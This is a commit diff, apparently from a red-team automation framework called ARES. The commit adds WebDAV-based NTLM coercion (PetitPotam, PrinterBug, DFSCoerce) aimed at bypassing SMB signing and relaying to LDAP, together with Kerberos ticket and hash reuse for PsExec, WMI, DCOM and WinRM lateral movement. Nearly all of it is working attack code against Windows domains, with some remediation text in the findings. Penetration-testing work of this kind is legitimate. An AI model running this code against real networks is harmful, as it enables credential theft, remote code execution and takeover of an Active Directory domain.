Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

feat(lateral): implement Kerberos ticket reuse and WebClient WebDAV coercion for modern Windows resilience (Wave 2)

Mafifrizi9eb2497c93de
diff --git a/ares/modules/ad/coerce.py b/ares/modules/ad/coerce.py
index c477608..443df01 100644
--- a/ares/modules/ad/coerce.py
+++ b/ares/modules/ad/coerce.py
@@ -229,9 +229,12 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
loop = asyncio.get_running_loop()
result = {"sent": False, "method": None, "error": None}
+ use_webdav = bool(kwargs.get("use_webdav") or kwargs.get("webdav") or method == "webdav")
+ webdav_port = int(kwargs.get("webdav_port", 80))
+
# Method priority: auto tries PetitPotam first (no creds needed), then PrinterBug
methods_to_try: list[str] = []
- if method == "auto":
+ if method == "auto" or method == "webdav":
methods_to_try = ["petitpotam", "printerbug", "dfscoerce"]
else:
methods_to_try = [method]
@@ -241,29 +244,29 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
if m == "petitpotam":
sent = await loop.run_in_executor(
None,
- lambda: self._petitpotam_sync(dc, listener_ip, username, password, domain),
+ lambda: self._petitpotam_sync(dc, listener_ip, username, password, domain, use_webdav=use_webdav, webdav_port=webdav_port),
)
elif m == "printerbug":
if not username:
continue
sent = await loop.run_in_executor(
None,
- lambda: self._printerbug_sync(dc, listener_ip, username, password, domain),
+ lambda: self._printerbug_sync(dc, listener_ip, username, password, domain, use_webdav=use_webdav, webdav_port=webdav_port),
)
elif m == "dfscoerce":
if not username:
continue
sent = await loop.run_in_executor(
None,
- lambda: self._dfscoerce_sync(dc, listener_ip, username, password, domain),
+ lambda: self._dfscoerce_sync(dc, listener_ip, username, password, domain, use_webdav=use_webdav, webdav_port=webdav_port),
)
else:
continue
if sent:
result["sent"] = True
- result["method"] = m
- logger.info("coerce_sent", target=dc, method=m, listener=listener_ip)
+ result["method"] = f"{m}_webdav" if use_webdav else m
+ logger.info("coerce_sent", target=dc, method=result["method"], listener=listener_ip)
break
except Exception as exc:
@@ -272,26 +275,33 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
continue
if result["sent"]:
+ evidence_data = {
+ "target": dc,
+ "listener": listener_ip,
+ "method": result["method"],
+ "next_step": "Check lateral.smb_relay output for captured NTLM hash",
+ }
+ if use_webdav:
+ evidence_data["webdav_coercion"] = True
+ evidence_data["webdav_port"] = webdav_port
+ evidence_data["smb_signing_bypass"] = True
+
self.finding(
- title = f"Authentication Coercion Sent to {dc} via {result['method']}",
+ title = f"Authentication Coercion Sent to {dc} via {result['method']}" + (" (WebDAV / SMB Signing Bypass)" if use_webdav else ""),
description = (
f"Successfully forced {dc} to authenticate to {listener_ip} "
- f"via {result['method']}. "
+ f"via {result['method']}" + (" over HTTP/WebDAV (bypassing SMB signing restrictions)." if use_webdav else ".") + " "
"If lateral.smb_relay is listening, the machine account NTLM hash "
"should now be captured. Relay to LDAP for DCSync rights or SMB for DA."
),
severity = Severity.CRITICAL,
mitre_technique = "T1187",
mitre_tactic = "Credential Access",
- evidence = {
- "target": dc,
- "listener": listener_ip,
- "method": result["method"],
- "next_step": "Check lateral.smb_relay output for captured NTLM hash",
- },
+ evidence = evidence_data,
remediation = (
"Patch MS-EFSRPC (KB5005413 / disabling EFS on DCs). "
"Disable Print Spooler service on DCs (PrinterBug mitigation). "
+ "Disable WebClient service on clients and servers (Set-Service WebClient -StartupType Disabled). "
"Enable Protected Users security group for all DC accounts."
),
host = dc, confidence = 0.95,
@@ -315,12 +325,14 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
"target": dc, "listener": listener_ip,
"method": result["method"], "sent": result["sent"],
"error": result.get("error"),
+ "webdav_coercion_used": use_webdav and result["sent"],
}
raw["coercion_sent"] = raw.get("sent", False) # OUTPUTS key
return self._findings[:], raw
def _petitpotam_sync(self, dc: str, listener_ip: str,
- username: str, password: str, domain: str) -> bool:
+ username: str, password: str, domain: str,
+ use_webdav: bool = False, webdav_port: int = 80) -> bool:
"""MS-EFSRPC: EfsRpcOpenFileRaw - works unauthenticated on unpatched systems."""
try:
from impacket.dcerpc.v5 import transport, efsrpc
@@ -338,8 +350,12 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
dce.connect()
dce.bind(efsrpc.MSRPC_UUID_EFSR)
- # Coerce DC to authenticate to listener via UNC path
- unc_path = f"\\\\{listener_ip}\\share\\file"
+ # Coerce DC to authenticate to listener via UNC path (standard or WebDAV)
+ if use_webdav:
+ unc_path = f"\\\\{listener_ip}@{webdav_port}\\share\\file"
+ else:
+ unc_path = f"\\\\{listener_ip}\\share\\file"
+
try:
efsrpc.hEfsRpcOpenFileRaw(dce, unc_path, 0)
except DCERPCException:
@@ -355,7 +371,8 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
return False
def _printerbug_sync(self, dc: str, listener_ip: str,
- username: str, password: str, domain: str) -> bool:
+ username: str, password: str, domain: str,
+ use_webdav: bool = False, webdav_port: int = 80) -> bool:
"""MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification - needs domain creds."""
try:
from impacket.dcerpc.v5 import transport, rprn
@@ -376,10 +393,11 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
resp = rprn.hRpcOpenPrinter(dce, f"\\\\{dc}")
handle = resp["pHandle"]
- # Trigger auth to listener
+ # Trigger auth to listener (with WebDAV support)
+ target_unc = f"\\\\{listener_ip}@{webdav_port}" if use_webdav else f"\\\\{listener_ip}"
try:
rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
- dce, handle, 0x00000100, 0, f"\\\\{listener_ip}", NULL
+ dce, handle, 0x00000100, 0, target_unc, NULL
)
except DCERPCException:
pass # expected error - trigger happened
@@ -395,7 +413,8 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
return False
def _dfscoerce_sync(self, dc: str, listener_ip: str,
- username: str, password: str, domain: str) -> bool:
+ username: str, password: str, domain: str,
+ use_webdav: bool = False, webdav_port: int = 80) -> bool:
"""MS-DFSNM: NetrDfsAddStdRoot - needs domain creds."""
try:
from impacket.dcerpc.v5 import transport, dfsnm
@@ -411,8 +430,9 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
dce.connect()
dce.bind(dfsnm.MSRPC_UUID_DFSNM)
+ unc_path = f"\\\\{listener_ip}@{webdav_port}\\share" if use_webdav else f"\\\\{listener_ip}\\share"
try:
- dfsnm.hNetrDfsAddStdRoot(dce, f"\\\\{listener_ip}\\share", "share", 0)
+ dfsnm.hNetrDfsAddStdRoot(dce, unc_path, "share", 0)
except DCERPCException:
pass # expected - trigger happened
finally:
diff --git a/ares/modules/base.py b/ares/modules/base.py
index ebcb139..11e784c 100644
--- a/ares/modules/base.py
+++ b/ares/modules/base.py
@@ -283,7 +283,8 @@ class BaseModule(abc.ABC, Generic[P, R]):
has_secret = _present(
"password", "secret", "nt_hash", "lm_hash",
"krbtgt_hash", "key_path", "ssh_key", "ssh_pass",
- )
+ "ticket", "ccache_path",
+ ) or bool(os.environ.get("KRB5CCNAME"))
has_domain = bool(ctx.domain) or _present("domain")
if has_username and has_secret:
available.add("credentials")
diff --git a/ares/modules/lateral/dcom.py b/ares/modules/lateral/dcom.py
index f0b9691..631864d 100644
--- a/ares/modules/lateral/dcom.py
+++ b/ares/modules/lateral/dcom.py
@@ -29,7 +29,7 @@ from typing import Any
from ares.core.logger import get_logger, audit
from ares.core.security import sanitize_hostname
from ares.modules.lateral.modules import (
- BaseLateralModule, LateralResult, LateralTechnique,
+ BaseLateralModule, LateralResult, LateralTechnique, AuthStrategy,
)
from ares.modules.base import OpsecLevel
from ares.modules.params import DCOMParams
@@ -258,22 +258,8 @@ class DCOMLateral(BaseLateralModule):
duration_ms=round((time.monotonic() - t0) * 1000, 2),
)
- # Parse credential - support cleartext and NTLM hash
- lmhash, nthash = "", ""
- password = secret
- if ":" in secret and len(secret) in (65, 33):
- parts = secret.split(":")
- if len(parts) == 2 and all(
- all(c in "0123456789abcdefABCDEF" for c in p)
- for p in parts
- ):
- lmhash, nthash = parts[0], parts[1]
- password = ""
- elif len(secret) == 32 and all(
- c in "0123456789abcdefABCDEF" for c in secret
- ):
- nthash = secret
- password = ""
+ # Parse credential - support cleartext, NTLM hash, and Kerberos ticket
+ auth = self.resolve_auth_strategy(secret, domain, username, **kwargs)
loop = asyncio.get_running_loop()
@@ -284,16 +270,33 @@ class DCOMLateral(BaseLateralModule):
"""
dcom = None
try:
- dcom = DCOMConnection(
- target,
- username=username,
- password=password,
- domain=domain,
- lmhash=lmhash,
- nthash=nthash,
- oxidResolver=True,
- doKerberos=False,
- )
+ try:
+ dcom = DCOMConnection(
+ target,
+ username=username,
+ password=auth.password,
+ domain=domain,
+ lmhash=auth.lmhash,
+ nthash=auth.nthash,
+ oxidResolver=True,
+ doKerberos=auth.do_kerberos,
+ kdcHost=auth.kdc_host or domain or target,
+ )
+ except Exception as krb_err:
+ if auth.do_kerberos and (auth.password or auth.nthash):
+ logger.debug("dcom_kerberos_failed_fallback_ntlm", error=str(krb_err)[:80])
+ dcom = DCOMConnection(
+ target,
+ username=username,
+ password=auth.password,
+ domain=domain,
+ lmhash=auth.lmhash,
+ nthash=auth.nthash,
+ oxidResolver=True,
+ doKerberos=False,
+ )
+ else:
+ raise
# ── Method 1: MMC20.Application ───────────────────────────
# Most widely supported, requires local admin.
@@ -380,4 +383,6 @@ class DCOMLateral(BaseLateralModule):
output = output,
error = "" if success else output,
duration_ms = round((time.monotonic() - t0) * 1000, 2),
+ auth_type = auth.auth_type,
+ kerberos_used = auth.do_kerberos and success,
)
diff --git a/ares/modules/lateral/modules.py b/ares/modules/lateral/modules.py
index 594446d..5ea9c8a 100644
--- a/ares/modules/lateral/modules.py
+++ b/ares/modules/lateral/modules.py
@@ -74,6 +74,22 @@ class LateralResult:
output: str = ""
error: str = ""
duration_ms: float = 0.0
+ auth_type: str = "ntlm"
+ kerberos_used: bool = False
+
+
+@dataclass
+class AuthStrategy:
+ """Resolved authentication strategy for lateral movement."""
+ auth_type: str # "kerberos" | "ntlm" | "password"
+ do_kerberos: bool = False
+ ccache_path: str | None = None
+ username: str = ""
+ domain: str = ""
+ password: str = ""
+ lmhash: str = ""
+ nthash: str = ""
+ kdc_host: str = ""
# ── Base Lateral Module ────────────────────────────────────────────────────────
@@ -86,6 +102,80 @@ class BaseLateralModule(BaseModule):
OPSEC_LEVEL = OpsecLevel.MEDIUM
MITRE_TECHNIQUES = []
+ @classmethod
+ def resolve_auth_strategy(
+ cls,
+ secret: str,
+ domain: str = "",
+ username: str = "",
+ **kwargs: Any,
+ ) -> AuthStrategy:
+ """
+ Resolve authentication strategy: Kerberos ticket reuse vs NTLM hash vs cleartext password.
+ Supports:
+ - ccache files (path to .ccache or KRB5CCNAME env)
+ - Kerberos tickets (do_kerberos flag)
+ - NTLM hashes (32-char hex, or lm:nt format)
+ - Cleartext passwords
+ """
+ import os
+ lmhash, nthash = "", ""
+ password = secret or ""
+ ccache_path = kwargs.get("ccache_path")
+ do_kerberos = bool(kwargs.get("do_kerberos") or kwargs.get("kerberos"))
+ kdc_host = kwargs.get("kdc_host") or domain or ""
+
+ # 1. Detect ccache file path or ticket indicator
+ if secret:
+ clean_secret = str(secret).strip()
+ if clean_secret.startswith("ccache:"):
+ ccache_path = clean_secret[7:].strip()
+ do_kerberos = True
+ password = ""
+ elif clean_secret.endswith(".ccache") and not (":" in clean_secret and len(clean_secret) == 65):
+ ccache_path = clean_secret
+ do_kerberos = True
+ password = ""
+
+ # Check environment variable KRB5CCNAME if ccache_path not explicitly passed
+ if not ccache_path and os.environ.get("KRB5CCNAME"):
+ env_cc = os.environ["KRB5CCNAME"].strip()
+ if env_cc:
+ if env_cc.startswith("FILE:"):
+ env_cc = env_cc[5:]
+ ccache_path = env_cc
+ if do_kerberos or (kwargs.get("prefer_kerberos", True) and domain):
+ do_kerberos = True
+
+ if do_kerberos and ccache_path:
+ os.environ["KRB5CCNAME"] = ccache_path
+
+ # 2. If not Kerberos (or for fallback credential), parse NTLM hash vs password
+ if password:
+ clean_pwd = str(password).strip()
+ if len(clean_pwd) == 32 and all(c in "0123456789abcdefABCDEF" for c in clean_pwd):
+ nthash = clean_pwd
+ password = ""
+ elif len(clean_pwd) in (65, 33) and ":" in clean_pwd:
+ parts = clean_pwd.split(":")
+ if len(parts) == 2 and all(all(c in "0123456789abcdefABCDEF" for c in p) for p in parts if p):
+ lmhash, nthash = parts[0], parts[1]
+ password = ""
+
+ auth_type = "kerberos" if do_kerberos else ("ntlm" if (nthash or lmhash) else "password")
+
+ return AuthStrategy(
+ auth_type=auth_type,
+ do_kerberos=do_kerberos,
+ ccache_path=ccache_path,
+ username=username,
+ domain=domain,
+ password=password,
+ lmhash=lmhash,
+ nthash=nthash,
+ kdc_host=kdc_host,
+ )
+
async def move(
self,
target: str,
@@ -110,6 +200,7 @@ class BaseLateralModule(BaseModule):
Default lateral movement feasibility evaluation:
Checks target reachability, credentials, and noise profile compatibility.
"""
+ import os
from ares.modules.base import FeasibilityReport
from ares.core.campaign import NoiseProfile
from ares.core.security import sanitize_hostname
@@ -126,11 +217,17 @@ class BaseLateralModule(BaseModule):
has_password = bool(getattr(ctx, "params", {}).get("password") or getattr(ctx, "params", {}).get("secret"))
has_hash = bool(getattr(ctx, "params", {}).get("nt_hash") or getattr(ctx, "params", {}).get("hash"))
+ has_ticket = bool(
+ getattr(ctx, "params", {}).get("ccache_path")
+ or getattr(ctx, "params", {}).get("ticket")
+ or os.environ.get("KRB5CCNAME")
+ or (getattr(ctx, "params", {}).get("secret") and str(getattr(ctx, "params", {}).get("secret")).strip().endswith(".ccache"))
+ )
has_vault = bool(getattr(ctx, "vault", None) and getattr(getattr(ctx, "vault", None), "_store", None))
has_cred = bool(getattr(ctx, "best_credential", lambda: None)())
- if not (has_password or has_hash or has_vault or has_cred):
- blockers.append("No credentials (password, NTLM hash, or vault entry) available for lateral authentication")
+ if not (has_password or has_hash or has_vault or has_cred or has_ticket):
+ blockers.append("No credentials (password, NTLM hash, Kerberos ticket, or vault entry) available for lateral authentication")
score -= 0.4
noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
@@ -155,6 +252,7 @@ class BaseLateralModule(BaseModule):
Enforce target and credentials before any network connection.
Applied to all lateral modules: psexec, wmiexec, dcom, winrm, rdp, ssh.
"""
+ import os
from ares.core.context import ExecutionContext
from ares.core.errors import ModuleValidationError
if not isinstance(ctx, ExecutionContext):
@@ -175,17 +273,24 @@ class BaseLateralModule(BaseModule):
"provide the IP or hostname of the remote host.",
module_id=self.MODULE_ID, field="target",
)
- # Credentials: need either password, NTLM hash, or vault credential
+ # Credentials: need either password, NTLM hash, vault credential, or Kerberos ticket
has_password = bool(ctx.params.get("password") or ctx.params.get("secret"))
has_hash = bool(ctx.params.get("nt_hash") or ctx.params.get("hash"))
+ has_ticket = bool(
+ ctx.params.get("ccache_path")
+ or ctx.params.get("ticket")
+ or os.environ.get("KRB5CCNAME")
+ or (ctx.params.get("secret") and str(ctx.params.get("secret")).strip().endswith(".ccache"))
+ or (ctx.params.get("password") and str(ctx.params.get("password")).strip().endswith(".ccache"))
+ )
has_vault = bool(
getattr(ctx, "vault", None) and
getattr(getattr(ctx, "vault", None), "_store", None)
)
- if not (has_password or has_hash or has_vault):
+ if not (has_password or has_hash or has_vault or has_ticket):
raise ModuleValidationError(
f"{self.MODULE_ID} requires credentials - "
- "pass 'password', 'nt_hash' (NTLM), or provide a vault credential.",
+ "pass 'password', 'nt_hash' (NTLM), 'ccache_path' (Kerberos), or provide a vault credential.",
module_id=self.MODULE_ID, field="password",
)
await super().validate(ctx)
@@ -461,21 +566,13 @@ class PsExecLateral(BaseLateralModule):
duration_ms=round((time.monotonic() - t0) * 1000, 2),
)
- lmhash, nthash = "", ""
- password = secret
- if len(secret) == 32 or (len(secret) == 65 and ":" in secret):
- parts = secret.split(":")
- if len(parts) == 2:
- lmhash, nthash = parts[0], parts[1]
- else:
- nthash = secret
- password = ""
+ auth = self.resolve_auth_strategy(secret, domain, username, **kwargs)
loop = asyncio.get_running_loop()
def _psexec_exec() -> tuple[bool, str, str]:
"""
- Full PSExec via impacket SCM:
+ Full PSExec via impacket SCM with Kerberos ticket reuse and NTLM fallback:
1. SMB connect + auth
2. Connect to Service Control Manager via RPC
3. Create + start temp service to execute command
@@ -497,7 +594,12 @@ class PsExecLateral(BaseLateralModule):
rpct = transport.DCERPCTransportFactory(
f"ncacn_np:{target}[\\pipe\\svcctl]"
)
- rpct.set_credentials(username, password, domain, lmhash, nthash)
+ if auth.do_kerberos:
+ try:
+ rpct.set_kerberos(True, kdcHost=auth.kdc_host or domain or target)
+ except Exception as krb_rpc_exc:
+ logger.debug("psexec_kerberos_rpc_setup_warn", error=str(krb_rpc_exc)[:80])
+ rpct.set_credentials(username, auth.password, domain, auth.lmhash, auth.nthash)
rpct.set_connect_timeout(15)
dce = rpct.get_dce_rpc()
dce.connect()
@@ -529,7 +631,14 @@ class PsExecLateral(BaseLateralModule):
_time.sleep(2) # give command time to run
try:
smb = SMBConnection(target, target, timeout=10)
- smb.login(username, password, domain, lmhash, nthash)
+ if auth.do_kerberos:
+ try:
+ smb.kerberosLogin(domain, username, auth.password, auth.lmhash, auth.nthash, kdcHost=auth.kdc_host or domain or target)
+ except Exception as krb_smb_exc:
+ logger.debug("psexec_kerberos_smb_fallback_ntlm", error=str(krb_smb_exc)[:80])
+ smb.login(username, auth.password, domain, auth.lmhash, auth.nthash)
+ else:
+ smb.login(username, auth.password, domain, auth.lmhash, auth.nthash)
import io
buf = io.BytesIO()
smb.getFile("ADMIN$", f"Temp\\{svc_name}.txt", buf.write)
@@ -551,7 +660,13 @@ class PsExecLateral(BaseLateralModule):
# Valid creds but no SCM access - try just verifying ADMIN$ access
try:
smb2 = SMBConnection(target, target, timeout=10)
- smb2.login(username, password, domain, lmhash, nthash)
+ if auth.do_kerberos:
+ try:
+ smb2.kerberosLogin(domain, username, auth.password, auth.lmhash, auth.nthash, kdcHost=auth.kdc_host or domain or target)
+ except Exception:
+ smb2.login(username, auth.password, domain, auth.lmhash, auth.nthash)
+ else:
+ smb2.login(username, auth.password, domain, auth.lmhash, auth.nthash)
smb2.disconnectTree(smb2.connectTree("ADMIN$"))
smb2.logoff()
return True, "local_admin", f"Admin access confirmed (SCM blocked) on {target}"
@@ -596,6 +711,8 @@ class PsExecLateral(BaseLateralModule):
username=username, domain=domain,
success=False, error=str(exc)[:300],
duration_ms=round((time.monotonic() - t0) * 1000, 2),
+ auth_type=auth.auth_type,
+ kerberos_used=auth.do_kerberos,
)
return LateralResult(
@@ -606,6 +723,8 @@ class PsExecLateral(BaseLateralModule):
output=output,
error="" if success else output,
duration_ms=round((time.monotonic() - t0) * 1000, 2),
+ auth_type=auth.auth_type,
+ kerberos_used=auth.do_kerberos and success,
)
@@ -702,21 +821,13 @@ class WmiExecLateral(BaseLateralModule):
duration_ms=round((time.monotonic() - t0) * 1000, 2),
)
- lmhash, nthash = "", ""
- password = secret
- if len(secret) in (32, 33) or (len(secret) == 65 and ":" in secret):
- parts = secret.split(":")
- if len(parts) == 2:
- lmhash, nthash = parts[0], parts[1]
- else:
- nthash = secret
- password = ""
+ auth = self.resolve_auth_strategy(secret, domain, username, **kwargs)
loop = asyncio.get_running_loop()
def _wmi_exec() -> tuple[bool, str, str]:
"""
- Real WMI execution via DCOM Win32_Process.Create.
+ Real WMI execution via DCOM Win32_Process.Create with Kerberos support and NTLM fallback.
Output captured by writing to a temp file then reading back via SMB.
Timeout enforced on the overall sync block.
"""
@@ -733,18 +844,39 @@ class WmiExecLateral(BaseLateralModule):
from impacket.dcerpc.v5.dcom import wmi as wmimod
from impacket.dcerpc.v5.dtypes import NULL
- dcom = DCOMConnection(
- target,
- username=username,
- password=password,
- domain=domain,
- lmhash=lmhash,
- nthash=nthash,
- oxidResolver=True,
- doKerberos=False,
- )
- iInterface = dcom.CoCreateInstanceEx(wmimod.CLSID_WbemLevel1Login,
- wmimod.IID_IWbemLevel1Login)
+ # Connect via DCOM with Kerberos support & NTLM fallback
+ try:
+ dcom = DCOMConnection(
+ target,
+ username=username,
+ password=auth.password,
+ domain=domain,
+ lmhash=auth.lmhash,
+ nthash=auth.nthash,
+ oxidResolver=True,
+ doKerberos=auth.do_kerberos,
+ kdcHost=auth.kdc_host or domain or target,
+ )
+ iInterface = dcom.CoCreateInstanceEx(wmimod.CLSID_WbemLevel1Login,
+ wmimod.IID_IWbemLevel1Login)
+ except Exception as krb_err:
+ if auth.do_kerberos and (auth.password or auth.nthash):
+ logger.debug("wmi_kerberos_failed_fallback_ntlm", error=str(krb_err)[:80])
+ dcom = DCOMConnection(
+ target,
+ username=username,
+ password=auth.password,
+ domain=domain,
+ lmhash=auth.lmhash,
+ nthash=auth.nthash,
+ oxidResolver=True,
+ doKerberos=False,
+ )
+ iInterface = dcom.CoCreateInstanceEx(wmimod.CLSID_WbemLevel1Login,
+ wmimod.IID_IWbemLevel1Login)
+ else:
+ raise
+
iWbemLevel1Login = wmimod.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin(
f"\\\\{target}\\root\\cimv2", NULL, NULL
@@ -759,7 +891,13 @@ class WmiExecLateral(BaseLateralModule):
# Read output via SMB
smb = SMBConnection(target, target, timeout=10)
- smb.login(username, password, domain, lmhash, nthash)
+ if auth.do_kerberos:
+ try:
+ smb.kerberosLogin(domain, username, auth.password, auth.lmhash, auth.nthash, kdcHost=auth.kdc_host or domain or target)
+ except Exception:
+ smb.login(username, auth.password, domain, auth.lmhash, auth.nthash)
+ else:
+ smb.login(username, auth.password, domain, auth.lmhash, auth.nthash)
import io
buf = io.BytesIO()
try:
@@ -797,6 +935,8 @@ class WmiExecLateral(BaseLateralModule):
username=username, domain=domain, success=False,
error=f"WMI execution timed out after {timeout_s}s",
duration_ms=round((time.monotonic() - t0) * 1000, 2),
+ auth_type=auth.auth_type,
+ kerberos_used=auth.do_kerberos,
)
except Exception as exc:
logger.warning("wmiexec_failed", target=target, error=str(exc)[:200])
@@ -806,6 +946,8 @@ class WmiExecLateral(BaseLateralModule):
username=username, domain=domain, success=False,
error=str(exc)[:300],
duration_ms=round((time.monotonic() - t0) * 1000, 2),
+ auth_type=auth.auth_type,
+ kerberos_used=auth.do_kerberos,
)
return LateralResult(
@@ -816,6 +958,8 @@ class WmiExecLateral(BaseLateralModule):
output=output,
error="" if success else output,
duration_ms=round((time.monotonic() - t0) * 1000, 2),
+ auth_type=auth.auth_type,
+ kerberos_used=auth.do_kerberos and success,
)
@@ -888,6 +1032,8 @@ class WinRMLateral(BaseLateralModule):
logger.info("winrm_attempt", target=target, port=port, username=username, domain=domain)
+ auth = self.resolve_auth_strategy(secret, domain, username, **kwargs)
+
try:
import winrm
@@ -897,9 +1043,32 @@ class WinRMLateral(BaseLateralModule):
target_user = f"{domain}\\{username}" if domain else username
protocol = "ssl" if use_ssl else "ntlm"
endpoint = f"http{'s' if use_ssl else ''}://{target}:{port}/wsman"
+
+ # Try Kerberos transport if ticket available or requested
+ if auth.do_kerberos:
+ try:
+ session = winrm.Session(
+ endpoint,
+ auth=(target_user, auth.password),
+ transport="kerberos",
+ server_cert_validation="ignore" if use_ssl else "validate",
+ )
+ r = session.run_cmd(command)
+ stdout = r.std_out.decode("utf-8", errors="replace").strip()
+ stderr = r.std_err.decode("utf-8", errors="replace").strip()
+ success = r.status_code == 0
+ priv = "SYSTEM" if "NT AUTHORITY\\SYSTEM" in stdout else (
+ "Administrator" if "Administrators" in stdout else "user"
+ )
+ return success, priv, stdout
+ except Exception as krb_exc:
+ logger.debug("winrm_kerberos_failed_fallback_ntlm", error=str(krb_exc)[:80])
+ if not auth.password and not secret:
+ raise
+
session = winrm.Session(
endpoint,
- auth=(target_user, secret),
+ auth=(target_user, auth.password or secret),
transport=protocol,
server_cert_validation="ignore" if use_ssl else "validate",
)
@@ -921,6 +1090,8 @@ class WinRMLateral(BaseLateralModule):
success=success, privilege=privilege,
output=output[:500],
duration_ms=round((time.monotonic() - t0) * 1000, 2),
+ auth_type=auth.auth_type,
+ kerberos_used=auth.do_kerberos and success,
)
except ImportError:
@@ -930,6 +1101,8 @@ class WinRMLateral(BaseLateralModule):
username=username, domain=domain, success=False,
error="pywinrm not installed - run: pip install pywinrm",
duration_ms=round((time.monotonic() - t0) * 1000, 2),
+ auth_type=auth.auth_type,
+ kerberos_used=auth.do_kerberos,
)
except Exception as exc:
logger.warning("winrm_failed", target=target, error=str(exc)[:200])
@@ -939,6 +1112,8 @@ class WinRMLateral(BaseLateralModule):
username=username, domain=domain, success=False,
error=str(exc)[:300],
duration_ms=round((time.monotonic() - t0) * 1000, 2),
+ auth_type=auth.auth_type,
+ kerberos_used=auth.do_kerberos,
)
diff --git a/ares/modules/lateral/ntlm_relay.py b/ares/modules/lateral/ntlm_relay.py
index 51cb325..e355a68 100644
--- a/ares/modules/lateral/ntlm_relay.py
+++ b/ares/modules/lateral/ntlm_relay.py
@@ -56,17 +56,20 @@ class RelayTarget:
ldap_channel_bind: str = "" # "not_required" | "required"
relay_to_ldap: bool = False
relay_to_smb: bool = False
+ webclient_running: bool = False
+ webdav_relayable: bool = False
@dataclass
class CoercionResult:
"""Result of an authentication coercion attempt."""
- method: str # "petitpotam" | "printerbug" | "dfscoerce"
+ method: str # "petitpotam" | "printerbug" | "dfscoerce" | "petitpotam_webdav" | "printerbug_webdav"
source: str # host we coerced
target: str # host we want auth relayed TO
success: bool
error: str = ""
auth_captured: bool = False
+ webdav_used: bool = False
@dataclass
@@ -306,6 +309,35 @@ class NTLMRelayModule(BaseModule):
),
)
+ # Check for SMB Signing Bypass via WebClient (WebDAV coercion)
+ webdav_relay_targets = [t for t in relay_targets if getattr(t, "webdav_relayable", False)]
+ if webdav_relay_targets:
+ self.finding(
+ title=f"SMB Signing Bypass via WebClient / WebDAV on {webdav_relay_targets[0].host}",
+ description=(
+ f"Host {webdav_relay_targets[0].host} requires SMB signing (Windows 11 24H2+ default), "
+ "which blocks classical SMB relaying. However, WebClient service is active and LDAP signing "
+ "is not required. Coercing authentication over WebDAV UNC (\\\\target@80\\path) forces NTLM "
+ "over HTTP without SMB signing or MIC restrictions, allowing direct relay to LDAP for RBCD."
+ ),
+ severity=Severity.HIGH,
+ mitre_technique="T1557.001",
+ mitre_tactic="Credential Access",
+ evidence={
+ "target": webdav_relay_targets[0].host,
+ "smb_signing": webdav_relay_targets[0].smb_signing,
+ "webclient_running": True,
+ "relay_to_ldap": True,
+ "bypass_mechanism": "WebDAV UNC coercion over HTTP port 80",
+ },
+ host=webdav_relay_targets[0].host,
+ confidence=0.95,
+ remediation=(
+ "Disable the WebClient service: Set-Service WebClient -StartupType Disabled. "
+ "Enforce LDAP Signing and LDAP Channel Binding (LdapEnforceChannelBinding=2)."
+ ),
+ )
+
if mode == "discover":
return self._findings[:], raw
@@ -314,9 +346,11 @@ class NTLMRelayModule(BaseModule):
coerce_source = dc # try coercing DC
coerce_target = ldap_targets[0].host if ldap_targets else smb_targets[0].host
+ use_webdav = bool(webdav_relay_targets or kwargs.get("use_webdav") or kwargs.get("webdav"))
coercion_results = await self._coerce_authentication(
source=coerce_source, target=coerce_target,
domain=domain, username=username, password=password,
+ use_webdav=use_webdav,
)
raw["coercion"] = [
{"method": c.method, "source": c.source, "success": c.success,
@@ -530,6 +564,41 @@ class NTLMRelayModule(BaseModule):
rt.ldap_signing = await loop.run_in_executor(None, _check_ldap)
rt.relay_to_ldap = rt.ldap_signing == "not_required"
+ # Check WebClient service (HTTP/WebDAV probe & DAV RPC service named pipe)
+ def _check_webclient(h=host):
+ try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.settimeout(2.0)
+ if sock.connect_ex((h, 80)) == 0:
+ sock.sendall(b"OPTIONS / HTTP/1.1\r\nHost: " + h.encode() + b"\r\n\r\n")
+ data = sock.recv(256)
+ sock.close()
+ if b"DAV" in data or b"Microsoft-IIS" in data or b"HTTP/1." in data:
+ return True
+ else:
+ sock.close()
+ except Exception:
+ pass
+
+ try:
+ from impacket.smbconnection import SMBConnection
+ smb_cli = SMBConnection(h, h, timeout=3)
+ smb_cli.login(username, password, domain)
+ tid = smb_cli.connectTree("IPC$")
+ fid = smb_cli.openFile(tid, "DAV RPC SERVICE")
+ smb_cli.closeFile(tid, fid)
+ smb_cli.disconnectTree(tid)
+ smb_cli.logoff()
+ return True
+ except Exception:
+ pass
+ return False
+
+ rt.webclient_running = await loop.run_in_executor(None, _check_webclient)
+ # If SMB signing is enforced (Windows 11 24H2+), but WebClient is active and LDAP accepts unsigned,
+ # HTTP/WebDAV coercion can bypass SMB signing and allow relaying to LDAP!
+ rt.webdav_relayable = bool(rt.webclient_running and rt.relay_to_ldap)
+
results.append(rt)
await self.noise.jitter.sleep()
@@ -540,6 +609,8 @@ class NTLMRelayModule(BaseModule):
async def _coerce_authentication(
self, source: str, target: str, domain: str,
username: str, password: str,
+ use_webdav: bool = False,
+ **kwargs: Any,
) -> list[CoercionResult]:
"""Try multiple coercion methods to force source to authenticate to target."""
loop = asyncio.get_running_loop()
@@ -567,7 +638,10 @@ class NTLMRelayModule(BaseModule):
# Build EfsRpcOpenFileRaw request
# UNC path pointing to our listener (target)
- listener_path = f"\\\\{target}\\C$\\ares_test.txt"
+ if use_webdav:
+ listener_path = f"\\\\{target}@80\\ares_test.txt"
+ else:
+ listener_path = f"\\\\{target}\\C$\\ares_test.txt"
# Pack as EFSR request
request = b"\x00\x00\x00\x00" # flags
